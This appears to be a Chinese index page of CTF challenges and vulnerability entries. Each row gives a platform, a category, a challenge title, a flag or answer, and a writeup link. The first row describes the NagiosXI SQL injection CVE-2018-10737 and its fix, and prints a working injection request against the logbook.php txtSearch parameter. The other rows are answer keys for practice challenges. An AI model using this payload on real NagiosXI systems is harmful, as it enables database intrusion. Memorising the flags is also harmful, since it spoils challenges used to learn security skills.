[标题搜索]只能搜索题目标题,[综合搜索]支持多关键词多项目搜索(以空格分隔)。
| 序号 | Website | Type | Title | Value | Writeup | Competition | Id |
|---|---|---|---|---|---|---|---|
| 1 | vulfocus | WEB | nagiosxi SQL注入 (CVE-2018-10737) | NagiosXI <= 5.4.12 存在 SQL 注入漏洞(CVE-2018-10737),攻击者可通过 admin/logbook.php 的 txtSearch 参数执行任意 SQL 命令。受影响版本为 5.2.x 和 5.4.x(<5.4.13),修复方法为升级至 5.4.13 或以上版本。漏洞 PoC 示例为: POST /nagiosql/admin/logbook.php txtSearch=-1%' and (select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)# 验证后的网址为:https://www.seebug.org/vuldb/ssvid-97267 | https://www.seebug.org/vuldb/ssvid-97267 | - | 16622 |
| 2 | XCTF | MISC | 互相伤害!!! | flag{97d1-0867-2dc1-8926-144c-bc8a-4d4a-3758} | https://blog.csdn.net/2401_84832804/a... | CTF | 9010 |
| 3 | NSSCTF | 格基规约 | [NSSRound#19 Basic]Decision | 无 | https://dexterjie.github.io/2024/03/1... | NSSRound#19 | 13007 |
| 4 | BUUCTF | Misc | 谁赢了比赛? | flag{shanxiajingwu_won_the_game} | https://blog.csdn.net/weixin_42487326... | - | 8883 |
| 5 | NSSCTF | RCE | [CISCN 2023 华北]pysym | 无 | https://blog.csdn.net/m0_73512445/art... | CISCN | 11090 |
| 6 | NSSCTF | Base64 | [MoeCTF 2022]Base | moectf{qwqbase_qwq} | https://blog.csdn.net/2303_79610394/a... | MoeCTF | 10623 |
| 7 | ctfshow | WEB入门.文件包含 | web80 | ctfshow{flag_value} | https://blog.csdn.net/uuzeray/article... | 文件包含 | 3313 |
| 8 | BUUCTF | Misc | [NewStarCTF 2023 公开赛道]CyberChef's Secret | flag{Base_15_S0_Easy_^_^} | https://gchq.github.io/CyberChef/?inp... | NewStarCTF 2023 公开赛道 | 7055 |
| 9 | bugku | PWN | babySheep | SEE{1_h0p3_y0u_3nj0y_pl4y1ng_w1th_sh33p} | https://ctftime.org/writeup/36989 | SEETF2023 | 1920 |
| 10 | xuenixiang.com | Misc | 2020年11月打卡 打架啦!大家快来看了。 | flag{bea65a5fb26eaa667fcccf83b3cfb90e} | https://www.xuenixiang.com/thread-253... | - | 15481 |